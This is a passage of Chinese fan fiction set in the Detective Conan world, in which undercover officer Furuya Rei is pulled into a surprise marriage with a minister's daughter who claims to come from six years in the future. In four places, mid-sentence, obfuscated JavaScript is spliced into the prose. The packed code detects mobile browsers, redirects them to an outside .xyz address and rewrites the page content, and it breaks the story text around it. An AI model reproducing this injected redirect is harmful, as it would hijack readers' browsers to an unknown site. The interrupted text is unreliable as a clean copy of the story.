莉亚深吸一口气:“那我直说了——我父亲一直希望我尽快嫁人,但我不乐意,所以大学毕业以后离家出走了一段时间。也就是说,现在我应该在北海道乡下隐居呢……” “喔,所以这是个你为了女主播的事业而不愿结婚,对抗父亲多年以后和我一见钟情的故事吗?太感人了,真像大河剧会喜欢的题材。” 他又端详了一下那张婚姻证明书,好像很珍重地抽出来放进了口袋里。但脸上的笑容很虚伪,声音听起来也一点都不像很感动的样子。 “那倒也不全是。”她干巴巴地回答,“而且他还讨厌我当时的男友是混血日裔,就滥用职权把他赶回老家了,说随便嫁给哪个秘书都更好,所以我很生气——哦,那个男朋友不是你,毕竟你直到现在都没见过我嘛。我说了我又不是骗你的。” 那点虚假的笑容都消失了。 “好极了,这样我们的问题都解决了——如果你说的是真话,那你就会嫁给别人,也不会再出现在这个与你无关的犯罪现场了,我也不用担心身份被人识破。” 他一把攥住莉亚的手腕,露出了个甜蜜的笑脸,“而我的上司会马上找到失踪的小女儿,一定也会为我鼓掌吧。” “你刚刚还说是想了解未来妻子诶?这就让我马上回老家嫁人了吗?而且这是在扼杀日本女性的婚恋自由和一个未来女主播的职业前途!警察就是这样子执法的吗?” 莉亚试图挣脱出来,甚至还掐了他一把。但是那只手像枷锁一样不为所动,牢牢扣住了她。 “别动!” 降谷零失去了和她推拉试探的耐心,用枪隔着衣服顶住了莉亚的腰,“我可没时间去什么北海道的乡下调查……要么去法月家,要么去净土往生,就这么简单。” 同样的触感让后脑被射穿的记忆突然又浮了出来。她不由得打了个寒战,咬着牙说:“我一定会让你后悔的。” 对方不以为然地随口敷衍:“你如果真的是法月家大小姐的话,会有很多机会。”说着又拿枪捅了捅她,示意快走。 婚纱是没法穿了,她也没有准备其他衣服,现在只好裹紧手边唯一能找到的浴袍。 降谷零默默地把外套脱下来丢给她,看着莉亚胡乱把衣服套上,“好了,不要浪费时间了。走吧。” 他扯下兜帽挡住莉亚的脸,轻车熟路地引着她避开了监控,一路畅通无阻直达停车场, “哦对了,虽然很失礼,但这是以防万一的措施。” 说着他掏出手铐,把莉亚和车门铐在了一起,这才转到驾驶座上。 她简直不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947678|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相信自己的眼睛。 看款式和颜色,应该是还是那辆马自达。 六年后脑子一热突然决定光速入籍的那一天,降谷零执意要送她回家,同样就是开着这辆车。 那时他彬彬有礼地为她开车门,还把手挡在门框上方,防止她意外撞到,最后还顺手帮她整理了一下和服的下摆。怕她不舒服,他还很周到地告诉了她怎么调节座椅,另外饮料架上的水是没开封过的,请随便取用,仿佛一个非常敬业的出租司机。 和面前这位粗暴地把她拷在车门上还冷着脸叫她不要乱动否则子弹不认人的简直判若两人…… “或许……”莉亚忍耐了半天,还是大胆发问了,“你有双胞胎兄弟吗?或者长得很像的表兄弟呢?” 得到了一个从后视镜里折射过来的冷冰冰的凝视。 短暂的婚姻生活还是让莉亚读懂了其中的困惑:好的,确实没有。面前这位就是她的丈夫更年轻的时候。 开始怀疑人生了——他这六年到底经历了什么啊?和犯罪分子混在一起,好像还在做踩点、望风的杂鱼工作…… 后视镜里又传来一个凝视,“这很正常吧。什么工作都要从基础做起啊。” 呃,她好像下意识地问出声了。 莉亚抱歉地捂住嘴,突然又意识到不对:这话似乎在说大小姐不知道人间疾苦,暗讽她社畜失格……什么啊,他不是也只做过犯罪分子吗?怎么还摆出了前辈的姿态。 呵呵。 她翻了个白眼。 车子很快停在了港区的一栋宅院前。莉亚试图做最后的抵抗,但是无济于事。降谷零独自去交涉沟通了一会儿,没过多久她就看到那位桥本秘书快步走了出来,隔着车窗就露出了又惊又喜的神色。 “莉亚小姐!您终于回来了!” 他高兴地几乎要哭出来了,对着降谷零格外和颜悦色,“真是多谢这位小哥了,能把大小姐劝回家……先生知道了一定非常高兴。” “分内之事,您过奖了。” 喔,好像还真是上司家的大小姐啊。 他虚假地寒暄着,看着那位大小姐果然一脸不快——刚刚被贝尔摩德吓得说不出来话的时候脸色都没有这么难看。 虽然很抱歉,但是总算解决了一桩怪事,具体缘由回头还得仔细调查看看,如果真的超越科学范围那可不太妙……也许应该找北海道那边配合调查,不过可能只是大小姐看到了他的资料之后在开玩笑。情报有进一步泄露的风险吗?总之现在还要回去那边完成贝尔摩德布置的工作…… 脑子里飞快地同时盘算几条任务线,嘴里已经在说推谢和告别的话了。 但是那位怏怏不乐的大小姐忽然对着他露出了一个挑衅的笑容。 “桥本,不能让他走!” 两个男人一起看向她。 两瓣粉嫩的嘴唇轻轻吐出了几个字:“我和他结婚了。” 她仿佛觉得降谷零脸上被雷劈过似的表情不够令人尽兴,又摸了摸小腹,补充道:“兴许还已经怀上孩子了。” 那位秘书官满脸阴云,眼神几乎能杀人。降谷零简直想拔枪自卫了。 对方重重拍上他的肩膀,手劲大得不容拒绝,“这位小哥,先请进吧,看来有很多情况需要我们仔细聊聊。” 5. 落网 法月家的安保确实做得很好。桥本秘书只做了一个手势,立刻围上来四个警卫,每个都带着警棍,其中有一个应该还配了枪。 如果降谷零没猜错的话,这人大概警衔比他还高。 他突然后悔了:刚刚真不应该随口叫那家伙随便报复的。 忍不住瞥了法月莉亚,她果然在和他想同一件事,冲着他由衷地微笑起来。 好像还不够,她故意落后桥本几步,凑到他耳边笑着说:“这不是很好吗?可以亲自确认诶。如果桥本是被买通了,那么不管来了谁他都能叫对方大小姐吧?现在可以放心咯。” 他当然想到了这个可能,并且早就准备好了二次确认的方法。降谷零脚步一顿,不客气地瞪了回去,然而突然觉得后背一凉。 ——那几个警卫立刻齐齐盯向他,眼神一个比一个凶恶。 降谷零轻咳一声,假作无事发生,收回目光,安静垂首前行。 街边的高篱挡住了法月家的宅院。从隐秘低调的木门进去,随着石子路转过一小片竹林,才能看到庭院的全貌。显然主人有着非常传统的日式品味,布置了石屿和苔藓构建的枯山水。排布精巧的碎石像游龙奔向两方尽头,那里矗立着两尊雪见石灯笼,在微凉的春夜里跳动着幽光。 这样的房子放在千叶或者神奈川的乡下也是非常奢侈的存在,更不用说寸土寸金的赤坂了。 那位小姐太爱说冷笑话,好像让他错误估计了她作为大小姐的等级。 他忍不住又偷偷看了一眼莉亚。 大小姐自己好像也有些局促不安。在这条石子路上走得越远,她行动姿态就变化得愈发明显。明明刚刚还歪头倚着车门环抱手臂,似笑非笑,现在已经把手悄悄挪了下去,妥帖地交叠在小腹前,手肘也刻意架成了蝴蝶振翅一样的优美形态。 步伐都变成了悄无声息的小碎步,好像地心引力对她的作用特别大。 ……什么嘛,好像会拉长校服裙子的不良少女突然扔掉铁棍,拿腔拿调地演起了《鹭娘》。 结果窥视很快就被察觉到了。 还被腹诽的小鹭娘狠狠地瞪了回去。 法月莉亚完全知道她表现出来了什么样的状态。几周以前,或者说六年以后,她带着降谷零第一次登门拜访时,就被对方调侃怎么比他还要紧张、难道也在警察厅偷偷供职吗,这样之类的话。 不用动脑子就完全能想到,现在这个更年轻更刻薄更讨厌版本的降谷零一定是更加阴阳怪气地在抱怨。 呵呵,他很快就会再次直面风暴了。 桥本秘书把他们引到了一间小会客室,微微鞠躬,“请在这里稍候。我现在去向先生汇报。” 降谷零的表情有些不大自然,过于严肃了,但看起来仍然相当有余裕,并不像连警视总监都没见过的新人警察。 好像也很合理。毕竟平日里面对的同事都是一言不合就拔出枪开始火拼的违法分子,而公安委员长脾气再火爆也不至于当场枪决了他,这样一看确实不算什么高难度的面见。 但一个小时过去,这件会客室仍然没有其他人进出。 余裕开始动摇了。降谷零看钟表的频率逐渐高了起来。 因为这样没法解释的理由被最高上司召唤,等待头上的剑掉下来是一回事,那边贝尔摩德布置的任务还需要考虑如何推进,也是不容忽视,急等着他解决。加入情报组、成为那个组织的代号干部的机会几乎唾手可得,他不能看着它从指缝里溜走。 目光在莉亚的脸和手机屏幕之间已经反复跳跃了几十次。法月莉亚仍旧维持着那个腰背笔直的坐姿。他忍不住了,换了个懈怠的坐姿,甚至烦躁地开口问:“这真的是你的父亲吗?你不是离家出走又突然嫁给奇怪的人了吗,他怎么完全不见你的。” ……相当明确的自我认知。 莉亚瞥了一眼“奇怪的人”,用从齿缝里吐出来的气声回答:“你很快就知道了。” 几乎话音刚落,门就打开了。进来的中年男人很有气势地环顾了私下,最终把目光停留在了降谷零身上,上下打量了他一番。 他阴鸷的眼睛有鹰一样的目光。 ……所以他听见刚才的抱怨了吗? 降谷零被他看得坐立难安,刷地站了起来,指尖牢牢贴住裤线,僵硬得像一块被烧过的木头。 法月清张并没有理会他,瞥了一眼女儿:“回来了。” 她垂着头,“是。” 预料之中,任何温情脉脉的场景都没有出现。对方皱着眉坐下了,“莉亚,你太调皮了,让我很失望。” “我很抱歉,发生了一些预料之外的状况。” “理解理解当父亲的心情吧。”他沉声说,“你这样任性是不像话的。我就当你没说过今天的傻话。相亲的名单之前都给你了,从那里面选。” 法月莉亚倏地抬起头,看向父亲。 熟悉的完全不考虑她意志的话,熟悉的看垃圾一样的痛心疾首的表情。眉毛都拧成一团了。 她几乎难以分辨现在是何年何月——是六年前吗?还是前几个月?反正过去的二十八年里的随便哪一年都会发生,分歧面前失败让步的永远是她。 但是这次不一样了,她有穿越时空的奇妙小道具。 真可惜,场合不太合适,不能播放哆啦A梦的伴奏。 她从口袋里掏出来一张叠好的纸,恭敬地递了过去,“请您先看这个。” 那张纸一出现,降谷零就开始后悔了——当时不应该认为那张入籍证明是假的就随手塞进外套里,更不应该出于绅士风度把外套给她穿啊。 果然,“和您手下的职业组警察闪电结婚了。因为已经入籍了,那么即便立刻离婚,户籍誊本上也会有对应的记录。而且按照规定,离婚之后要等到半年以后才能再婚。所以一定要跟您指定对象结婚的话,还是请您等到那之后再重新考虑相亲对象吧。” 两个人突然陷入了诡异的沉默。空气中飘散着看不见的闪电大概已经凝结成球型了。 忽然,那对父女一起盯向他。成为了战争焦点的降谷零几乎汗流浃背了。 嗓子发痒。他好像应该说点什么。 他清了清喉咙,但被公安委员长的突然起身打断了。对方没有听他的任何一句话,只是冷笑了一声,就转身离开了。 降谷零目瞪口呆。 “这算什么……你不应该好好说明吗?” 法月莉亚长出了一口气,语调变得轻快起来:“啊,因为太紧张了,所以忘记好好介绍你了。” 金发青年快炸毛了,“不是介绍我,是去解释情况啊。那不是你的父亲吗?” “是的呢,不过现在也是你父亲了。”她用一种谦和温柔的口气说出了能气死人的话,“解释什么情况呢?你现在意识到了吧,我确实是法月莉亚,也就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947679|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说——那张入籍证明书是真的。这就是你要验证的情报,降谷零,现在你要怎么做?” 这一晚上的冲击实在太多,他几乎没有时间来好好消化信息。降谷零这才意识到他面对着什么:超越科学范畴的时间穿梭、被打断的贝尔摩德的踩点任务、来自六年以后的组织情报,以及…… 以及他突然多出来了一个妻子。 还是上司家的大小姐。 他刚刚眼看着贝尔摩德把她一枪爆头了,还把她强行送回了家。 彻底得罪了。 很想揍六年之后的自己一顿。 降谷零还是试图挽救一下这个糟糕的局面:“听着,今天晚上只是一个意外。好在你父亲是我们警察厅的最高长官,而任务记录都是向上汇报过的。只要好好解释,不管是对你的生活还是我的任务,都不会产生什么难以弥补的后果。我们只要……” “没可能的。你完全不了解我父亲,他想做的事就没有人可以拒绝。”她干脆地打断了他的发言,“你知道我之前离家出走是怎么跑出来的吗?我买了两只备用手机,换了四张卡,托不同的人订了房子租了车,事先调查了公共监控的分布,最后趁着相亲的时候变了装,从酒店的员工通道跑掉的。” “听起来很像绑架……这真的只是想让你结婚吗?” “对啊。他第一次当大臣,担心位置坐不稳,最好的应对方式就是联姻。”她恶作剧似的笑了,“国家公安委员会的长官不能是警察出身,所以他也很难插手其中,完全不太了解运行架构呢……不记得当时怎么处理的了,不过以我对他的了解——” 莉亚突然停下来,若有所思地打量了他一阵,慢吞吞地说:“我当时忘记问了……可能也是我默认了吧。总之,降谷君,你也想做国务大臣吗?” “哈?我读了警察学校,还接受了这么久卧底培训,甚至还开始执行卧底任务,你觉得看起来是想做政治家的吗?” 好像确实没有哪个政治家的履历上写着“曾经帮犯罪分子放风”“给凶案现场擦地板”之类的条目。 她点点头:“那你最好现在开始想了,不然会很痛苦。他需要帮手,你大概能帮上忙。而我被抓回来坐牢,是一定要拖一个人下水陪坐的,算你倒霉了。” 降谷零不解其意,正要追问,但是这是手机响了。 他神情一凛,仔细查看,原来被呼叫的是给警察厅联络准备的那支号码。 接通之后,话筒传来了理事官的声音:“……降谷,你有这样的背景,为什么不提前说?现在令我们很困扰啊。” 这太冤枉了,今晚之前,他也不知道他有背景。他立刻反驳:“理事官,我——” “好了,降谷。”对面并不给他申辩的时间,“时间紧急,我就直说了。除了必要的扫尾工作,你现在停止一切和卧底相关的任务。你的人事档案从警备企画课异动到警备课警护室,负责公安委员长和官邸的护卫。” 可能觉得这样的口气太像甩掉烫手山芋了,理事官舒缓了口气,安抚他道:“……我们和新任委员长的关系太疏离了,现在他指名要调你过去,两边能加强联系,也是一件好事。” 他见了鬼似的看向法月莉亚。 她好像猜到了理事官在说什么,露出了一个真挚而恶意的笑容。 好事…… ——个鬼啊! 她说出来了吧!是坐牢啊! 6. 同居 降谷零面无表情地挂掉了电话,“你赢了。他们刚刚下了调令。” “不是我赢了,这是我父亲一定会这么做。”莉亚竖起一根手指,摇了摇,“你以为我很想这样吗?我们家添个警卫还不用我亲自招聘的,还是把自己搭进去那种。” 这么看,他好像确实应该道歉。但是被随意支配的无语和怒气更加强烈,让降谷忍不住回嘴:“所以难道不应该和我确认下吗?我可从来没说过真的和你结婚了。” “女儿深更半夜带着陌生男人回家,而且还穿成这样。”她满脸不快地揪了揪身上的衣服,“你最好庆幸我们是真的结婚了,我还随身带着入籍证明,他也没有怀疑你是我找来演戏的——否则现在你就不是警察,而是罪犯了。” ……把这位浑身上下只有婚纱的大小姐从米花大饭店里拖走的时候,只能用酒店的浴袍裹身。他没有时间去找其他的衣服,就随手把自己的外套扔给了她防寒。当时看还很妥帖的手段,兼具效率和关怀,但现在简直是明晃晃的罪证,一个暴力犯呼之欲出。 降谷零,你太松懈了。 对方还在嘲讽:“降谷君,我有点怀疑你以后能不能成为好爸爸。” 反正不会成为把女儿逼到离家出走的人。 “总之把我被异动到警护室的决定,至少还是应该当面告知我吧?” 莉亚露出了看到蠢东西的鄙夷表情:“你在说什么啊?提醒你一句,从搬家、读书到嫁人,他都从来没问过我的个人意愿诶。我可是他亲生的独生女,也是这么收到的单方面通知——你也是他亲生的吗?” “哈哈。”他干笑了起来,小声嘀咕,“那样的话倒是不用查了,确实不可能和你结婚。” 这听起来很像一句对于婚姻生活不满的抱怨。法月莉亚的眉毛立刻竖了起来。 但在她发出反击之前,门被人敲响了。 她立刻恢复了那个把手在身前掐成一朵莲花的端庄姿势,“请进。” 桥本秘书走进来,对着她微微鞠躬,“您辛苦了,请先回房间好好休息吧。” “辛苦您了。”她微微颔首,“那么也拜托您带他到安排好的客房去吧。” “诶?” 这位秘书先生这次没法给出八面玲珑的回复。他看起来有点困惑,手掌在虚空朝着两位青年比了比:“二位不住一起吗?女佣已经把必用品放到您房间了。” 莉亚的笑容僵住了。 怎么说呢,这本来确实应该是这一天的标准结局,甚至她本来就在和降谷零……但无论如何也不是这种情况吧? 那个虽然整肃刚硬但体贴有礼的降谷零变成了狺狺狂吠、盯着她撕咬的狼狗。她现在开始有点要怀疑自己人身安全了。 笑容没有消失,但转移到了降谷零的脸上。 他淡定自若地接过话:“是这样的。她只是还没习惯吧。”说着转过脸对着莉亚灿然一笑,“不然和没有结婚有什么区别呢,我也没办法好好保护她,是吧亲爱的?” ……听起来本来是想说“好好报复”。 她暗暗捏紧了拳头。 “是的呢,全都拜托你了。” 最终只能咬着牙认同了。 实在是不想被看出破绽然后真的又被拉去相亲。她简直可以肯定,她亲爱的父亲如果知道这个好消息,绝对是有手段让她的户籍誊本上代表离婚的叉消失的。 降谷零把左手按在腰间,撑起胳膊,用手肘轻轻戳了戳莉亚,暗示她挽上来。 哦嚯,她看懂了,这原来是他胜利场面结算的招牌动作。太可气了。 莉亚把手搭了上去,趁机掐了他一把。 对方毫无反应,仍然维持着笑脸在和桥本秘书交谈。 桥本把他们引到莉亚的房间门口,鞠躬相送,“具体的工作交接明天我来跟您详谈。” 新人夫妇客气地一齐回礼,转身一进屋,同时变了脸色。 莉亚甩开挽着降谷零的手,对方抱着臂一脸不快,“哈?大小姐,你利用完别人就这个态度吗?” “我本来应该在跨越津轻海峡的渡轮上过夜的,托您的福,又回来坐牢了。作为抱歉,配合我也是理所当然的吧。” “也托您的福,我从卧底公安警察变成了服务生。” “别逗了,要是调你去做皇宫警察,跟在皇嗣后面转,那才是真的服务生。” “提到皇嗣要用敬称吧?就是这么做国务大臣家大小姐的吗?太松懈了。” “驳回异议,皇室典范的修改都通过表决了。”莉亚把床上的枕头丢给降谷零,“还有,我单方面表决决定你睡地上。衣柜里有备用的被子,自己铺一下吧。” 他捉住枕头,挑眉道:“这部分不需要配合了吗?万一被收拾屋子的女佣发现怎么办?” 她狠狠甩上柜门,“那我就跟她们讲你的个人爱好就是收拾卫生,不需要别人再来帮忙了。” 但卧底公安的心思确实足够缜密,这部分的顾虑可以说也有道理。莉亚把枕头从他手里抽走,扔回到了床上,塞了浴巾和睡衣给他,不耐烦地指了指,“浴室在那边。” “谢了。”他冲着莉亚扬了扬手里的东西,得意地走了。 莉亚把自己扔进被窝里。果然已经被烘得暖烘烘的,还弥漫着淡淡的Jill Stuart水晶花香水的味道。她把脸埋进被子里,长长地吐了一口气。 这一天太过漫长了,走向简直堪称离奇,只有这点温暖还能慰藉她的神经。 水声停了下来。拉门被划动得咯吱作响。 金发青年从她的浴室里走了出来,头发上还挂着水泽。他显然也感觉到了,甩动几下,活像一只刚从河里爬上来的金毛。 水珠顺着脖颈滑了下去,落进了健壮胸肌的美好线条里,消失了。 ……他没穿睡衣。 准确的说,是只裹了条浴巾。 莉亚面无表情地看了半天,翻身背对着他。 可恶,今天本来应该有比被子更温暖的安慰的…… 背后的床颤动了一下。显然是降谷零坐了上来。听声音他应该在用毛巾擦头发,偶尔有细小的水珠也飞到了她的枕边。 她忍不住倏地坐起来了,“……我不是把睡衣给你了吗?” “抱歉抱歉,不太习惯啊。总觉得穿了那个东西就没有办法好好休息。但明天还要给大小姐做服务生,很担心没法好好恢复啊。” 还是充满挑衅的谦和口气,听起来觉得道歉的人应该是她。 她沉默了一会儿,忽然用一种低沉的声音重新开口了:“零君,我实在是很害怕。一切突然都变得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947680|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样了。我的工作,我的生活,还有你——你之前从来都不是这么对我讲话的。我其实完全不知道发生了什么……” 擦头发的声音立刻消失了。金色的脑袋被浴巾整个笼罩住,动也不动。 “抱歉。”这次道歉的声音真诚了许多,“只是这一切对我来说太像致命的陷阱了。如果判断错误,不止我一个人会陷入死亡的境地……你能理解吗?” 糟糕,愧疚越来越多了。 确实已经验证了,这位小姐不是贝尔摩德的同党。那么如果真的是来自未来的他的妻子,突然被他像对待犯人一样处置,感到惊惶失措是理所当然的吧——怎么想他都不会对着妻子这样行事的。 即便是作为公安,这样对待普通国民也太差劲了。 降谷零干脆地问:“我怎么做才能让你感到轻松一点?” 一双温热的手突然搭上了他的肩头。裸露在空气里的后颈和柔软的掌心贴在一起有触电的感觉。 降谷零整个人瞬间僵硬了起来。 松田说得没错,他是应该改掉裸睡这个习惯。 唔,不过现在看来也不是很坏。 他咕咚吞了一口唾沫。 意料之内,那双手发力了,做出了动作。 ……意料之外,方向是反的。 他被狠狠推到了床底下,差点一头栽到在羊毛地毯里。 降谷气急败坏地就地一滚,抬头就看到法月莉亚仍然跪在床上。她居高临下地双手环抱在胸前,发出指示:“那就请你到地上睡吧,我习惯一个人睡大床。” “哈?你不是结婚了吗?婚后也一个人睡?”他试图指出逻辑漏洞。 “你是我丈夫吗?之前不是还说让我回老家快点相亲嫁人才不会耽误你的任务吗?哈这要是我丈夫本人那一定是顶级人渣吧——应该不是本人吧?” 他伸手捉住自己的枕头,拖了下去,倒在雪白的羊毛地毯里。 棘手的狡猾女人。可恶。 “……唯一需要注意的就是莉亚小姐,她实在是很让人棘手啊。” 那位有资格配枪的松本警部把工作手册合上,递给降谷零。岗位培训的内容结束之后,老牌公安忍不住发出了前辈的叮咛,“其他工作还是很简单的,按照这些规定来就好了。” 他似乎意识到了疏漏,尴尬地哈哈一笑,试图弥补一下:“啊不过莉亚小姐人还是很好的。” 降谷零在心里比他笑得还尴尬:“这样啊……她之前都做了什么,让您这么为难?” “现在有你这样的帅哥在,莉亚小姐应该不会再离家出走了吧。”对方口气由衷地轻松了起来,“之前她会用各种方法逃走啊。为了她我连《肖申克的救赎》都多看了两遍。她会在逛街的时候故意甩开护卫,我们当时得先熟悉目的地的所有逃生路线才能送她出门。在家里会半夜翻墙,甚至还试图变装混入家政人员里面,真是比间谍还难抓。” 降谷零板着脸,忽然抬手一指,“你说的是这样变装吗?” 早上来的五个家政妇完成了打扫工作,正在排队离开。 但是现在……有六个人。 听到他冷冰冰的指控,站在倒数第二位的家政妇突然抬起头。 茶色的眼睛燃烧着怒火。 ……真的是法月莉亚。 7. 保镖 道歉还是斥责,这是一个问题。 两个选择都很令人为难。一切都是现行犯的错,证据确凿,但他绝对也难辞其咎。 新任的警备课警护室国家公安委员长防卫担当降谷警部补快要把一头金发揉成稻草了。 “首先,我真的不是留意到了你的行动然后故意等着在大家面前捉住你让你丢人的……我好歹也是公安,看破犯人的伪装也是我们的必修课——不,我的意思不是说你是犯人,真正的犯人伪装技艺超强的好吧,就昨天那个金发女人……” 糟糕,好像在鄙视她的技巧,越说越错了。 法月莉亚:“你继续说啊。” 脸上明明写的是“看你有没有命继续说”。 降谷警部补不为所动,话锋一转:“但不管怎么说,这个时候要溜出去也太不可取了。你昨天在米花大饭店出入过,虽然我已经消除了记录,但如果用特殊手段恢复的话,很容易就会发现只有离开的影像。因此,被那些犯罪分子视为可疑人员而追查甚至绑架、杀害的概率都很高。” “你一个人就完成了追查、绑架的环节,而把我关在这个破地方和慢性谋杀也没什么区别。拜托你跟那些犯罪分子朋友说一声,你已经完成工作指标了,他们不用再加班了。” “完成了?我看还远远不够。我已经和松本警部聊过了,所有的警卫都要参与重新培训,培训内容都按照警备局的标准制定。想点变装和翻墙之外的高级手段吧。” “有必要敬业到这个程度吗?”她冷笑着一把扯下头巾,扔到地上,“这些无聊的事讨好不了你的领导。不如去他面前展示周到细致,围着我转没有用。” “我不知道我是在讨好谁。”他绷着脸,弯腰捡起那条头巾,“但保卫你的安全,现在就是我的职责范围。” “你的职责范围不是卧底调查打击犯罪吗?大可以现在直接安安心心地去吧,那位长得很像你亲戚的女演员还在等你呢。我去冲绳的离岛上隐居,不耽误你的卧底工作。” “你不是亲耳听到我的调令了吗?”他慢慢折叠头巾,反而呵地笑出声了,“照顾孤儿和老人这种好事可以做义务工作,和罪犯厮混在一起可没有人给我签志愿劳动的证明啊,那就是真正的罪犯了。” 这家伙该死地冲上了道德高地,戳破了她的逻辑漏洞。法月莉亚气得转身就走。 走出几步,她又冲了回来,一把抢走头巾,冲降谷零扬了扬下巴,“我要去商场采购,这总能出门了吧?又不是真的在坐监狱。” 他掏出手机,“你要买什么?或许我可以替你去……” “卫生巾。”看降谷的脸色,这个答案的份量大概不够,“护理液,内衣,还有内裤……” “——我陪你去。” 尽管肤色掩盖了脸色变化,但他收手机的动作明显有点僵硬。 总之还是坚定地改口了。 突然被告知出行安排的松本警部:“诶?要出去吗?还是先安排人手去排查吧。” 说着悄悄瞥了一眼帅哥后辈:不顶用啊,大小姐这糟糕的习惯出现得更快了…… “不必麻烦了。”他突然捉住莉亚的手,紧紧十指相扣,“这样的话,莉亚小姐就不会走失了吧?” 她勉强回以笑脸,“是,的,呢。” 于是终于有了片刻的喘息。 车辆进出的铁门缓缓开启。车子碾过减速带时发出震动,她快活地吹起来了口哨,“司机,到池袋去。” 金发司机的专业素质很差,爱挑剔单子:“只是买日用品,有点远吧?表参道、代官山和银座都更方便。” “因为这就是东京都内我能想到最远的购物中心了。不行的话我想去大阪梅田,你会同意吗?” “不会。”他快速瞥了一眼后视镜,“但如果你说只是想多出来透透气,并且安静地接受保护,那么我会考虑的。” 她怔住了,小声嘀咕了一句,松开了一直高高挑起的眉头。 六年前的降谷零好像也还是那个过分认真而诚恳的降谷零。熟悉的影子从那张针锋相对的脸上又浮了出来。 对方完全没有意识到这点:“你说什么?” 她把头扭了过去,假装在看风景,悄悄提示:“这辆车的车牌在公安委员会登记过,所以即便是超速行驶也不会有人拦车。” “这样不好吧?安全行驶比较重要。” 莉亚把头又扭了回来,瞪圆了眼睛。 刚认识的时候这位降谷先生执意要送她回家,直接把平时二十分钟以上的路开到了十分钟以内。她反复观察过才确认不是急于甩开她,只是爱好飙车。 这居然是降谷零会说的话? “你不会是刚拿到驾照吧?” 出现了可疑的沉默,“……已经一年多了!我只是开不惯你的左舵车。” “嗯嗯,超久的,好厉害。” 十年前就拿到驾照的人重新吹起了口哨。 金发司机转方向盘的手顿了顿,一脚把油门踩了下去。 可恶,后脑撞到颈枕了。 莉亚吸了一口冷气,又把眉毛扬了起来。但在吐槽危险驾驶行为的话加载出来之前,对方把车子一拐,驶入了地下停车场,“到了。” 急刹车让她往前一倒,差点又撞到手套箱。 狂暴的司机笑眯眯地转过脸来,“请让我来给你拉门。” “多谢了。”莉亚被迫吞回了抱怨的话,干巴巴地说。 “没关系,乐意为您服务,毕竟大小姐要是趁机溜走就不好了呢。” 她深深瞥了降谷零一眼,“很好。” 希望一直有这个觉悟。 降谷零没有意识到危机的到来:“?是还没有决定好吗?” “不,已经决定好了。”她指了指引导牌,“就从这一家开始,我要把那一排的店都逛了。” 莉亚把手腕一翻,变成主动紧握着降谷的手。 很配合嘛。 他有点疑惑,但是顺从了她的安排。 直到降谷零站在了莉亚选好的商店门口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947681|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……这些都是你要逛的店吗?”他的笑容和声音都有点僵硬。 “是啊,我不是告诉你了吗,我今天要买内衣——” “可以了。”他用力握了握莉亚的手,请求停止这个地狱吟唱,“我已经知道了。不用担心,我会好好陪着你的。试衣的时候也绝——对不会走开,你放心。” “那很好啊,我们来试试看吧。” 她挽着降谷零的手,快步走进店铺。 售货小姐热情地问候:“夫妇二位感情真好呢。” “是呢。这些都是本季新款吗?亲爱的,你觉得哪款比较好看?” 莉亚硬拖着降谷零走到了挂满新款内衣的货架前,挨个指着问他的建议。 有点好玩,内衣的款式简直像可以调节降谷零过电程度的滑动电阻。朴素的款能让他还能勉强保持虚假的笑容,而一些布料节约到很难被称之为服饰的款式就会让他缓缓地向右上方转动脑袋。 她有点怀疑降谷零实际上是不是在检测自己有没有流鼻血。 但重复数次之后,他产生了立体防御,只有耳根还在发红,人已经能淡定地说:“这个颜色最近很流行,有春天的氛围,要不然你去试试呢?” 一个敢说,一个敢听。两个人同时露出见了鬼的表情。 放弃了这种耻感过高的战术的莉亚:“……还是先去喝点东西,一会儿再决定吧。” “好啊,那边就有咖啡厅,看起来氛围不错。” 攻守双方同时又露出解脱了的笑容。 走出店铺,莉亚率先举手,“休战吧,我累了,真的太丢人了。” 降谷零:“怎么会呢,了解对方审美不是情侣促进感情发展的重要方式吗?你丈夫都没有跟你去过啊?” 